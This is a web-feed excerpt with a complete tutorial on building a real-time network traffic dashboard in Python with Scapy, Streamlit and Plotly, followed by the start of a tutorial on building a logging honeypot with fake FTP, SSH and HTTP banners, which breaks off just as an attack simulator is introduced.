<p>By the end of this tutorial, you will know how to capture raw network packets from the NIC (Network Interface Card) of your computer, process the data, and create beautiful visualizations that will update in real-time.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><p><a class="post-section-overview" href="#heading-why-is-network-traffic-analysis-important">Why is Network Traffic Analysis Important?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-prerequisites">Prerequisites</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-setup-your-project">How to Setup your Project</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-build-the-core-functionalities">How to Build the Core Functionalities</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-create-the-streamlit-visualizations">How to Create the Streamlit Visualizations</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-capture-the-network-packets">How to Capture the Network Packets</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-putting-everything-together">Putting Everything Together</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-future-enhancements">Future Enhancements</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></p>
</li>
</ul>
<h2 id="heading-why-is-network-traffic-analysis-important">Why is Network Traffic Analysis Important?</h2>
<p>Network traffic analysis is a critical requirement in enterprises where networks form the backbone of nearly every application and service. At the core of it, we have analysis of network packets that involves monitoring the network, capturing all the traffic (ingress and egress), and interpreting these packets as they flow through a network. You can use this technique to identify security patterns, detect anomalies, and ensure the security and efficiency of the network.</p>
<p>This proof-of-concept project that we’ll work on in this tutorial is particularly useful since it helps you visualize and analyze network activity in real-time. And this will allow you to understand how troubleshooting issues, performance optimizations, and security analysis is done in enterprise systems.</p>
<h2 id="heading-prerequisites">Prerequisites</h2>
<ul>
<li><p>Python 3.8 or a newer version installed on your system.</p>
</li>
<li><p>A basic understanding of <a target="_blank" href="https://www.freecodecamp.org/news/computer-networking-how-applications-talk-over-the-internet/">computer networking concepts</a>.</p>
</li>
<li><p>Familiarity with the <a target="_blank" href="https://www.freecodecamp.org/news/ultimate-beginners-python-course/">Python programming language</a> and its widely used libraries.</p>
</li>
<li><p>Basic knowledge of <a target="_blank" href="https://www.freecodecamp.org/news/learn-data-visualization-in-this-free-17-hour-course/">data visualization</a> techniques and libraries.</p>
</li>
</ul>
<h2 id="heading-how-to-setup-your-project">How to Setup your Project</h2>
<p>To get started, create the project structure and install the necessary tools with Pip with the following commands:</p>
<pre><code class="lang-bash">mkdir network-dashboard
<span class="hljs-built_in">cd</span> network-dashboard
pip install streamlit pandas scapy plotly
</code></pre>
<p>We will be using <code>Streamlit</code> for the dashboard visualizations, <code>Pandas</code> for the data processing, <code>Scapy</code> for network packet capturing and packet processing, and finally <code>Plotly</code> for plotting charts with our collected data.</p>
<h2 id="heading-how-to-build-the-core-functionalities">How to Build the Core Functionalities</h2>
<p>We will be putting all of the code in a single file named <code>dashboard.py</code>. Firstly, let’s start by importing all the elements we will be using:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> streamlit <span class="hljs-keyword">as</span> st
<span class="hljs-keyword">import</span> pandas <span class="hljs-keyword">as</span> pd
<span class="hljs-keyword">import</span> plotly.express <span class="hljs-keyword">as</span> px
<span class="hljs-keyword">import</span> plotly.graph_objects <span class="hljs-keyword">as</span> go
<span class="hljs-keyword">from</span> scapy.all <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> collections <span class="hljs-keyword">import</span> defaultdict
<span class="hljs-keyword">import</span> time
<span class="hljs-keyword">from</span> datetime <span class="hljs-keyword">import</span> datetime
<span class="hljs-keyword">import</span> threading
<span class="hljs-keyword">import</span> warnings
<span class="hljs-keyword">import</span> logging
<span class="hljs-keyword">from</span> typing <span class="hljs-keyword">import</span> Dict, List, Optional
<span class="hljs-keyword">import</span> socket
</code></pre>
<p>Now let’s configure logging by setting up a basic logging configuration. This will be used for tracking events and running our application in debug mode. We have currently set the logging level to be <code>INFO</code>, meaning that events with level <code>INFO</code> or higher will be displayed. If you are not familiar with logging in Python, I’d recommend checking out <a target="_blank" href="https://docs.python.org/3/library/logging.html">this</a> documentation piece that goes in-depth.</p>
<pre><code class="lang-python"><span class="hljs-comment"># Configure logging</span>
logging.basicConfig(
    level=logging.INFO,
    format=<span class="hljs-string">'%(asctime)s - %(levelname)s - %(message)s'</span>
)
logger = logging.getLogger(__name__)
</code></pre>
<p>Next, we’ll build our packet processor. We’ll implement the functionality of processing our captured packets in this class.</p>
<pre><code class="lang-python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PacketProcessor</span>:</span>
    <span class="hljs-string">"""Process and analyze network packets"""</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self</span>):</span>
        self.protocol_map = {
            <span class="hljs-number">1</span>: <span class="hljs-string">'ICMP'</span>,
            <span class="hljs-number">6</span>: <span class="hljs-string">'TCP'</span>,
            <span class="hljs-number">17</span>: <span class="hljs-string">'UDP'</span>
        }
        self.packet_data = []
        self.start_time = datetime.now()
        self.packet_count = <span class="hljs-number">0</span>
        self.lock = threading.Lock()

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_protocol_name</span>(<span class="hljs-params">self, protocol_num: int</span>) -&gt; str:</span>
        <span class="hljs-string">"""Convert protocol number to name"""</span>
        <span class="hljs-keyword">return</span> self.protocol_map.get(protocol_num, <span class="hljs-string">f'OTHER(<span class="hljs-subst">{protocol_num}</span>)'</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">process_packet</span>(<span class="hljs-params">self, packet</span>) -&gt; <span class="hljs-keyword">None</span>:</span>
        <span class="hljs-string">"""Process a single packet and extract relevant information"""</span>
        <span class="hljs-keyword">try</span>:
            <span class="hljs-keyword">if</span> IP <span class="hljs-keyword">in</span> packet:
                <span class="hljs-keyword">with</span> self.lock:
                    packet_info = {
                        <span class="hljs-string">'timestamp'</span>: datetime.now(),
                        <span class="hljs-string">'source'</span>: packet[IP].src,
                        <span class="hljs-string">'destination'</span>: packet[IP].dst,
                        <span class="hljs-string">'protocol'</span>: self.get_protocol_name(packet[IP].proto),
                        <span class="hljs-string">'size'</span>: len(packet),
                        <span class="hljs-string">'time_relative'</span>: (datetime.now() - self.start_time).total_seconds()
                    }

                    <span class="hljs-comment"># Add TCP-specific information</span>
                    <span class="hljs-keyword">if</span> TCP <span class="hljs-keyword">in</span> packet:
                        packet_info.update({
                            <span class="hljs-string">'src_port'</span>: packet[TCP].sport,
                            <span class="hljs-string">'dst_port'</span>: packet[TCP].dport,
                            <span class="hljs-string">'tcp_flags'</span>: packet[TCP].flags
                        })

                    <span class="hljs-comment"># Add UDP-specific information</span>
                    <span class="hljs-keyword">elif</span> UDP <span class="hljs-keyword">in</span> packet:
                        packet_info.update({
                            <span class="hljs-string">'src_port'</span>: packet[UDP].sport,
                            <span class="hljs-string">'dst_port'</span>: packet[UDP].dport
                        })

                    self.packet_data.append(packet_info)
                    self.packet_count += <span class="hljs-number">1</span>

                    <span class="hljs-comment"># Keep only last 10000 packets to prevent memory issues</span>
                    <span class="hljs-keyword">if</span> len(self.packet_data) &gt; <span class="hljs-number">10000</span>:
                        self.packet_data.pop(<span class="hljs-number">0</span>)

        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
            logger.error(<span class="hljs-string">f"Error processing packet: <span class="hljs-subst">{str(e)}</span>"</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_dataframe</span>(<span class="hljs-params">self</span>) -&gt; pd.DataFrame:</span>
        <span class="hljs-string">"""Convert packet data to pandas DataFrame"""</span>
        <span class="hljs-keyword">with</span> self.lock:
            <span class="hljs-keyword">return</span> pd.DataFrame(self.packet_data)
</code></pre>
<p>This class will build our core functionality and has several utility functions that will be used for processing the packets.</p>
<p>Network packets are categorized into two at transport level (TCP and UDP) and the ICMP protocol at the network level. If you are unfamiliar with the concepts of TCP/IP, I recommend checking out <a target="_blank" href="https://www.freecodecamp.org/news/what-is-tcp-ip-layers-and-protocols-explained/">this</a> article on freeCodeCamp News.</p>
<p>Our constructor will keep track of all packets seen that are categorized into these TCP/IP protocol type buckets that we defined. We’ll also take note of the packet capture time, the data captured, and the number of packets captured.</p>
<p>We’ll also be leveraging a thread lock to ensure that only one packet is processed at a single time. This can be further extended to enable the project to have parallel packet processing.</p>
<p>The <code>get_protocol_name</code> helper function helps us get the correct type of the protocol based on their protocol numbers. To give some background on this, the Internet Assigned Numbers Authority (IANA) assigns standardized numbers to identify different protocols in a network packet. As and when we see these numbers in the parsed network packet, we’ll know what kind of protocol is being used in the packet currently intercepted. For the scope of this project, we’ll be mapping to only TCP, UDP and ICMP (Ping). If we encounter any other type of packet, we’ll categorize it as <code>OTHER(&lt;protocol_num&gt;)</code>.</p>
<p>The <code>process_packet</code> function handles our core functionality that will process these individual packets. If the packet contains an IP layer, it will take note of the source and destination IP addresses, protocol type, packet size, and time elapsed since the start of packet capturing.</p>
<p>For packets with specific transport layer protocols (like TCP and UDP), we will capture the source and destination ports along with TCP flags for TCP packets. These extracted details will be stored in memory in the <code>packet_data</code> list. We will also keep track of the <code>packet_count</code> as and when these packets are processed.</p>
<p>The <code>get_dataframe</code> function helps us to convert the <code>packet_data</code> list into a <code>Pandas</code> data-frame that will then be used for our visualization.</p>
<h2 id="heading-how-to-create-the-streamlit-visualizations">How to Create the Streamlit Visualizations</h2>
<p>Now it’s time for us to build our interactive Streamlit Dashboard. We will define a function called <code>create_visualization</code> in the <code>dashboard.py</code> script (outside of our packet processing class).</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">create_visualizations</span>(<span class="hljs-params">df: pd.DataFrame</span>):</span>
    <span class="hljs-string">"""Create all dashboard visualizations"""</span>
    <span class="hljs-keyword">if</span> len(df) &gt; <span class="hljs-number">0</span>:
        <span class="hljs-comment"># Protocol distribution</span>
        protocol_counts = df[<span class="hljs-string">'protocol'</span>].value_counts()
        fig_protocol = px.pie(
            values=protocol_counts.values,
            names=protocol_counts.index,
            title=<span class="hljs-string">"Protocol Distribution"</span>
        )
        st.plotly_chart(fig_protocol, use_container_width=<span class="hljs-literal">True</span>)

        <span class="hljs-comment"># Packets timeline</span>
        df[<span class="hljs-string">'timestamp'</span>] = pd.to_datetime(df[<span class="hljs-string">'timestamp'</span>])
        df_grouped = df.groupby(df[<span class="hljs-string">'timestamp'</span>].dt.floor(<span class="hljs-string">'S'</span>)).size()
        fig_timeline = px.line(
            x=df_grouped.index,
            y=df_grouped.values,
            title=<span class="hljs-string">"Packets per Second"</span>
        )
        st.plotly_chart(fig_timeline, use_container_width=<span class="hljs-literal">True</span>)

        <span class="hljs-comment"># Top source IPs</span>
        top_sources = df[<span class="hljs-string">'source'</span>].value_counts().head(<span class="hljs-number">10</span>)
        fig_sources = px.bar(
            x=top_sources.index,
            y=top_sources.values,
            title=<span class="hljs-string">"Top Source IP Addresses"</span>
        )
        st.plotly_chart(fig_sources, use_container_width=<span class="hljs-literal">True</span>)
</code></pre>
<p>This function will take the data frame as input and will help us plot three charts / graphs:</p>
<ol>
<li><p>Protocol Distribution Chart: This chart will display the proportion of different protocols (for example,TCP, UDP, ICMP) in the captured packet traffic.</p>
</li>
<li><p>Packets Timeline Chart: This chart will show the number of packets processed per second over a time period.</p>
</li>
<li><p>Top Source IP Addresses Chart: This chart will highlight the top 10 IP addresses that sent the most packets in the captured traffic.</p>
</li>
</ol>
<p>The protocol distribution chart is simply a pie chart of the protocol counts for the three different types (along with OTHER). We use the <code>Streamlit</code> and <code>Plotly</code> Python tools to plot these charts. Since we also noted the timestamp since the packet capture started, we will use this data to plot the trend of packets captured over time.</p>
<p>For the second chart, we will do a <code>groupby</code> operation on the data and get the number of packets captured in each second (<code>S</code> stands for seconds), and then finally we will plot the graph.</p>
<p>Finally, for the third chart, we will count the distinct source IPs observed and the plot a chart of the IP counts to show the top 10 IPs.</p>
<h2 id="heading-how-to-capture-the-network-packets">How to Capture the Network Packets</h2>
<p>Now, let’s build the functionality to allow us to capture network packet data.</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">start_packet_capture</span>():</span>
    <span class="hljs-string">"""Start packet capture in a separate thread"""</span>
    processor = PacketProcessor()

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">capture_packets</span>():</span>
        sniff(prn=processor.process_packet, store=<span class="hljs-literal">False</span>)

    capture_thread = threading.Thread(target=capture_packets, daemon=<span class="hljs-literal">True</span>)
    capture_thread.start()

    <span class="hljs-keyword">return</span> processor
</code></pre>
<p>This is a simple function that instantiates the <code>PacketProcessor</code> class and then uses the <code>sniff</code> function in the <code>scapy</code> module to start capturing the packets.</p>
<p>We use threading here to allow us to capture packets independently from the main program flow. This ensures that the packet capturing operation does not block other operations like updating the dashboard in real-time. We also return the created <code>PacketProcessor</code> instance so that it can be used in our main program.</p>
<h2 id="heading-putting-everything-together">Putting Everything Together</h2>
<p>Now let’s stitch all these pieces together with our <code>main</code> function that will act as the driver function for our program.</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    <span class="hljs-string">"""Main function to run the dashboard"""</span>
    st.set_page_config(page_title=<span class="hljs-string">"Network Traffic Analysis"</span>, layout=<span class="hljs-string">"wide"</span>)
    st.title(<span class="hljs-string">"Real-time Network Traffic Analysis"</span>)

    <span class="hljs-comment"># Initialize packet processor in session state</span>
    <span class="hljs-keyword">if</span> <span class="hljs-string">'processor'</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> st.session_state:
        st.session_state.processor = start_packet_capture()
        st.session_state.start_time = time.time()

    <span class="hljs-comment"># Create dashboard layout</span>
    col1, col2 = st.columns(<span class="hljs-number">2</span>)

    <span class="hljs-comment"># Get current data</span>
    df = st.session_state.processor.get_dataframe()

    <span class="hljs-comment"># Display metrics</span>
    <span class="hljs-keyword">with</span> col1:
        st.metric(<span class="hljs-string">"Total Packets"</span>, len(df))
    <span class="hljs-keyword">with</span> col2:
        duration = time.time() - st.session_state.start_time
        st.metric(<span class="hljs-string">"Capture Duration"</span>, <span class="hljs-string">f"<span class="hljs-subst">{duration:<span class="hljs-number">.2</span>f}</span>s"</span>)

    <span class="hljs-comment"># Display visualizations</span>
    create_visualizations(df)

    <span class="hljs-comment"># Display recent packets</span>
    st.subheader(<span class="hljs-string">"Recent Packets"</span>)
    <span class="hljs-keyword">if</span> len(df) &gt; <span class="hljs-number">0</span>:
        st.dataframe(
            df.tail(<span class="hljs-number">10</span>)[[<span class="hljs-string">'timestamp'</span>, <span class="hljs-string">'source'</span>, <span class="hljs-string">'destination'</span>, <span class="hljs-string">'protocol'</span>, <span class="hljs-string">'size'</span>]],
            use_container_width=<span class="hljs-literal">True</span>
        )

    <span class="hljs-comment"># Add refresh button</span>
    <span class="hljs-keyword">if</span> st.button(<span class="hljs-string">'Refresh Data'</span>):
        st.rerun()

    <span class="hljs-comment"># Auto refresh</span>
    time.sleep(<span class="hljs-number">2</span>)
    st.rerun()
</code></pre>
<p>This function will also instantiate the <code>Streamlit</code> dashboard, and integrate all of our components together. We first set the page title of our <code>Streamlit</code> dashboard and then initialize our <code>PacketProcessor</code>. We use the session state in <code>Streamlit</code> to ensure that only one instance of packet capturing is created and the state of it is retained.</p>
<p>Now, we will dynamically get the dataframe from the session state every time the data is processed and begin to display the metrics and the visualizations. We will also display the recently captured packets along with information like the timestamp, source and destination IPs, protocol, and size of the packet. We will also add the ability for the user to manually refresh the data from the dashboard while we also automatically refresh it every two seconds.</p>
<p>Let’s finally run the program with the following command:</p>
<pre><code class="lang-bash">sudo streamlit run dashboard.py
</code></pre>
<p>Note that you will have to run the program with <code>sudo</code> since the packet capturing capabilities require administrative privileges. If you are on Windows, open your terminal as Administrator and then run the program without the <code>sudo</code> prefix.</p>
<p>Give it a moment for the program to start capturing packets. If everything goes right, you should see something like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735279281523/34802db4-7982-4c0f-a591-c2d5ca1e1f08.png" alt="A network traffic analysis dashboard shows a pie chart with protocol distribution: TCP (48.7%), UDP (47.5%), and ICMP (3.8%). Below is a line graph displaying packets per second over time with several noticeable peaks. Total packets are 6743, and capture duration is 118.63 seconds." class="image--center mx-auto" width="2556" height="1242" loading="lazy"></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735279285726/246a5af6-2d15-49fa-9132-8103be79ce3a.png" alt="A dark-themed dashboard showing a bar chart of top source IP addresses and a table of recent packets with details like timestamp, source, destination, protocol, and size." class="image--center mx-auto" width="2551" height="1108" loading="lazy"></p>
<p>These are all the visualizations that we just implemented in our <code>Streamlit</code> dashboard program.</p>
<h2 id="heading-future-enhancements">Future Enhancements</h2>
<p>With that, here are some future enhancement ideas that you can use to extend the functionalities of the dashboard:</p>
<ol>
<li><p>Add machine learning capabilities for anomaly detection</p>
</li>
<li><p>Implement geographical IP mapping</p>
</li>
<li><p>Create custom alerts based on traffic analysis patterns</p>
</li>
<li><p>Add packet payload analysis options</p>
</li>
</ol>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Congratulations! You have now successfully built a real-time network traffic analysis dashboard with Python and <code>Streamlit</code>. This program will provide valuable insights into network behavior and can be extended for various use cases, from security monitoring to network optimization.</p>
<p>With that, I hope you learnt some basics about network traffic analysis as well as a bit of Python programming. Thanks for reading!</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Build a Honeypot in Python: A Practical Guide to Security Deception ]]>
                </title>
                <description>
                    <![CDATA[ In cybersecurity, a honeypot is a decoy system that’s designed to attract and then detect potential attackers attempting to compromise the system. Just like a pot of honey sitting out in the open would attract flies. Think of these honeypots as secur... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/build-a-honeypot-with-python/</link>
                <guid isPermaLink="false">676450c555ae44f950ee9c1f</guid>
                
                    <category>
                        <![CDATA[ Python ]]>
                    </category>
                
                    <category>
                        <![CDATA[ software development ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Chaitanya Rahalkar ]]>
                </dc:creator>
                <pubDate>Thu, 19 Dec 2024 16:58:45 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1734581440876/9b4a1d00-6185-4666-94cc-97131eed03fa.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>In cybersecurity, a honeypot is a decoy system that’s designed to attract and then detect potential attackers attempting to compromise the system. Just like a pot of honey sitting out in the open would attract flies.</p>
<p>Think of these honeypots as security cameras for your system. Just as a security camera helps us understand who's trying to break into a building and how they're doing it, these honeypots will help you understand who's trying to attack your system and what techniques they're using.</p>
<p>By the end of this tutorial, you'll be able to write a demo honeypot in Python and understand how honeypots work.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><p><a class="post-section-overview" href="#heading-understanding-the-types-of-honeypots">Understanding the Types of Honeypots</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-set-up-your-development-environment">How to Set Up Your Development Environment</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-build-the-core-honeypot">How to Build the Core Honeypot</a></p>
<ul>
<li><p><a class="post-section-overview" href="#heading-implement-the-network-listeners">Implement the Network Listeners</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-run-the-honeypot">Run the Honeypot</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-write-the-honeypot-attack-simulator">Write the Honeypot Attack Simulator</a></p>
</li>
</ul>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-analyze-honeypot-data">How to Analyze Honeypot Data</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-security-considerations">Security Considerations</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></p>
</li>
</ul>
<h2 id="heading-understanding-the-types-of-honeypots">Understanding the Types of Honeypots</h2>
<p>Before we start designing our own honeypot, let’s quickly understand their different types:</p>
<ol>
<li><p>Production Honeypots: These types of honeypots are placed in an actual production environment and are used to detect actual security attacks. They are typically simple in design, easy to maintain and deploy, and offer limited interaction to reduce risk.</p>
</li>
<li><p>Research Honeypots: These are more complex systems set up by security researchers to study attack patterns, perform empirical analysis on these patterns, collect malware samples, and understand new attack techniques that aren’t discovered previously. They often emulate entire operating systems or networks rather than behaving like an application in the production environment.</p>
</li>
</ol>
<p>For this tutorial, we will be building a medium-interaction honeypot that logs connection attempts and basic attacker behavior.</p>
<h2 id="heading-how-to-set-up-your-development-environment">How to Set Up Your Development Environment</h2>
<p>Let’s begin by setting up your development environment in Python. Run the following commands:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> socket
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> datetime
<span class="hljs-keyword">import</span> json
<span class="hljs-keyword">import</span> threading
<span class="hljs-keyword">from</span> pathlib <span class="hljs-keyword">import</span> Path

<span class="hljs-comment"># Configure logging directory</span>
LOG_DIR = Path(<span class="hljs-string">"honeypot_logs"</span>)
LOG_DIR.mkdir(exist_ok=<span class="hljs-literal">True</span>)
</code></pre>
<p>We will be sticking to the built in libraries so won’t be needing to install any external dependencies. We will be storing our logs in the <code>honeypot_logs</code> directory.</p>
<h2 id="heading-how-to-build-the-core-honeypot">How to Build the Core Honeypot</h2>
<p>Our basic honeypot will be comprised of three components:</p>
<ol>
<li><p>A network listener that accepts connections</p>
</li>
<li><p>A logging system to record activities</p>
</li>
<li><p>A basic emulation service to interact with attackers</p>
</li>
</ol>
<p>Now let’s begin by initializing the core Honeypot class:</p>
<pre><code class="lang-python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Honeypot</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, bind_ip=<span class="hljs-string">"0.0.0.0"</span>, ports=None</span>):</span>
        self.bind_ip = bind_ip
        self.ports = ports <span class="hljs-keyword">or</span> [<span class="hljs-number">21</span>, <span class="hljs-number">22</span>, <span class="hljs-number">80</span>, <span class="hljs-number">443</span>]  <span class="hljs-comment"># Default ports to monitor</span>
        self.active_connections = {}
        self.log_file = LOG_DIR / <span class="hljs-string">f"honeypot_<span class="hljs-subst">{datetime.datetime.now().strftime(<span class="hljs-string">'%Y%m%d'</span>)}</span>.json"</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">log_activity</span>(<span class="hljs-params">self, port, remote_ip, data</span>):</span>
        <span class="hljs-string">"""Log suspicious activity with timestamp and details"""</span>
        activity = {
            <span class="hljs-string">"timestamp"</span>: datetime.datetime.now().isoformat(),
            <span class="hljs-string">"remote_ip"</span>: remote_ip,
            <span class="hljs-string">"port"</span>: port,
            <span class="hljs-string">"data"</span>: data.decode(<span class="hljs-string">'utf-8'</span>, errors=<span class="hljs-string">'ignore'</span>)
        }

        <span class="hljs-keyword">with</span> open(self.log_file, <span class="hljs-string">'a'</span>) <span class="hljs-keyword">as</span> f:
            json.dump(activity, f)
            f.write(<span class="hljs-string">'\n'</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">handle_connection</span>(<span class="hljs-params">self, client_socket, remote_ip, port</span>):</span>
        <span class="hljs-string">"""Handle individual connections and emulate services"""</span>
        service_banners = {
            <span class="hljs-number">21</span>: <span class="hljs-string">"220 FTP server ready\r\n"</span>,
            <span class="hljs-number">22</span>: <span class="hljs-string">"SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.1\r\n"</span>,
            <span class="hljs-number">80</span>: <span class="hljs-string">"HTTP/1.1 200 OK\r\nServer: Apache/2.4.41 (Ubuntu)\r\n\r\n"</span>,
            <span class="hljs-number">443</span>: <span class="hljs-string">"HTTP/1.1 200 OK\r\nServer: Apache/2.4.41 (Ubuntu)\r\n\r\n"</span>
        }

        <span class="hljs-keyword">try</span>:
            <span class="hljs-comment"># Send appropriate banner for the service</span>
            <span class="hljs-keyword">if</span> port <span class="hljs-keyword">in</span> service_banners:
                client_socket.send(service_banners[port].encode())

            <span class="hljs-comment"># Receive data from attacker</span>
            <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
                data = client_socket.recv(<span class="hljs-number">1024</span>)
                <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> data:
                    <span class="hljs-keyword">break</span>

                self.log_activity(port, remote_ip, data)

                <span class="hljs-comment"># Send fake response</span>
                client_socket.send(<span class="hljs-string">b"Command not recognized.\r\n"</span>)

        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
            print(<span class="hljs-string">f"Error handling connection: <span class="hljs-subst">{e}</span>"</span>)
        <span class="hljs-keyword">finally</span>:
            client_socket.close()
</code></pre>
<p>This class has a lot of important information in it, so let’s go over each function one by one.</p>
<p>The <code>__init__</code> function records the ip and port numbers on which we’ll host the honeypot, as well as the path / filename of the log file. We will also be maintaining a record of the total number of active connections we have to the honeypot.</p>
<p>The <code>log_activity</code> function is going to receive the information about the IP, the data, and the port to which the IP attempted a connection. Then we’ll append this information to our JSON-formatted log file.</p>
<p>The <code>handle_connection</code> function is going to mimic these services that will be running on the different ports we have. We will have the honeypot running on ports 21, 22, 80 and 443. These services are for FTP, SSH, HTTP and the HTTPS protocol, respectively. So any attacker attempting to interact with the honeypot should expect these services on these ports.</p>
<p>To mimic the behavior of these services, we’ll use the service banners that they use in reality. This function will first send the appropriate banner when the attacker connects, and then receive the data and log it. The honeypot will also send a fake response “<em>Command not recognized</em>” back to the attacker.</p>
<h3 id="heading-implement-the-network-listeners">Implement the Network Listeners</h3>
<p>Now let’s implement the network listeners that will be handling the incoming connections. For this, we’ll be using simple socket programming. If you aren’t aware of how socket programming works, <a target="_blank" href="https://www.freecodecamp.org/news/socket-programming-in-python">check out this article</a> that explains some concepts related to it.</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">start_listener</span>(<span class="hljs-params">self, port</span>):</span>
    <span class="hljs-string">"""Start a listener on specified port"""</span>
    <span class="hljs-keyword">try</span>:
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.bind((self.bind_ip, port))
        server.listen(<span class="hljs-number">5</span>)

        print(<span class="hljs-string">f"[*] Listening on <span class="hljs-subst">{self.bind_ip}</span>:<span class="hljs-subst">{port}</span>"</span>)

        <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
            client, addr = server.accept()
            print(<span class="hljs-string">f"[*] Accepted connection from <span class="hljs-subst">{addr[<span class="hljs-number">0</span>]}</span>:<span class="hljs-subst">{addr[<span class="hljs-number">1</span>]}</span>"</span>)

            <span class="hljs-comment"># Handle connection in separate thread</span>
            client_handler = threading.Thread(
                target=self.handle_connection,
                args=(client, addr[<span class="hljs-number">0</span>], port)
            )
            client_handler.start()

    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
        print(<span class="hljs-string">f"Error starting listener on port <span class="hljs-subst">{port}</span>: <span class="hljs-subst">{e}</span>"</span>)
</code></pre>
<p>The <code>start_listener</code> function will start the server and listen on the provided port. The <code>bind_ip</code> for us is going to be <code>0.0.0.0</code> which indicates that the server will be listening on all network interfaces.</p>
<p>Now, we will handle each new connection in a separate thread, since there could be instances where multiple attackers attempt to interact with the honeypot or an attacking script or tool is scanning the honeypot. If you aren’t aware of how threading works, you can <a target="_blank" href="https://www.freecodecamp.org/news/concurrency-in-python/">check out this article</a> that explains threading and concurrency in Python.</p>
<p>Also, make sure to put this function in the core <code>Honeypot</code> class.</p>
<h3 id="heading-run-the-honeypot">Run the Honeypot</h3>
<p>Now let’s create the <code>main</code> function that will start our honeypot.</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    honeypot = Honeypot()

    <span class="hljs-comment"># Start listeners for each port in separate threads</span>
    <span class="hljs-keyword">for</span> port <span class="hljs-keyword">in</span> honeypot.ports:
        listener_thread = threading.Thread(
            target=honeypot.start_listener,
            args=(port,)
        )
        listener_thread.daemon = <span class="hljs-literal">True</span>
        listener_thread.start()

    <span class="hljs-keyword">try</span>:
        <span class="hljs-comment"># Keep main thread alive</span>
        <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
            time.sleep(<span class="hljs-number">1</span>)
    <span class="hljs-keyword">except</span> KeyboardInterrupt:
        print(<span class="hljs-string">"\n[*] Shutting down honeypot..."</span>)
        sys.exit(<span class="hljs-number">0</span>)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<p>This function instantiates the <code>Honeypot</code> class and starts the listeners for each of our defined ports (21,22,80,443) as a separate thread. Now, we’ll keep our main thread that is running our actual program alive by putting it in an infinite loop. Put this all together in a script and run it.</p>
<h3 id="heading-write-the-honeypot-attack-simulator">Write the Honeypot Attack Simulator</h3>
<p>Now let’s try to simulate some attack scenarios and target our honeypot so that we can collect some data in our JSON log file.</p>
<p>This simulator will help us demonstrate a few important aspects about honeypots:</p>
<ol>
<li><p>Realistic attack patterns: The simulator will simulate common attack patterns like port scanning, brute force attempts, and service-specific exploits.</p>
</li>
<li><p>Variable intensity: The simulator will adjust the intensity of the simulation to test how your honeypot handles different loads.</p>
</li>
<li><p>Several attack types: It will demonstrate different types of attacks that real attackers might attempt, helping you understand how your honeypot responds to each.</p>
</li>
<li><p>Concurrent connections: The simulator will use threading to test how your honeypot handles multiple simultaneous connections.</p>
</li>
</ol>
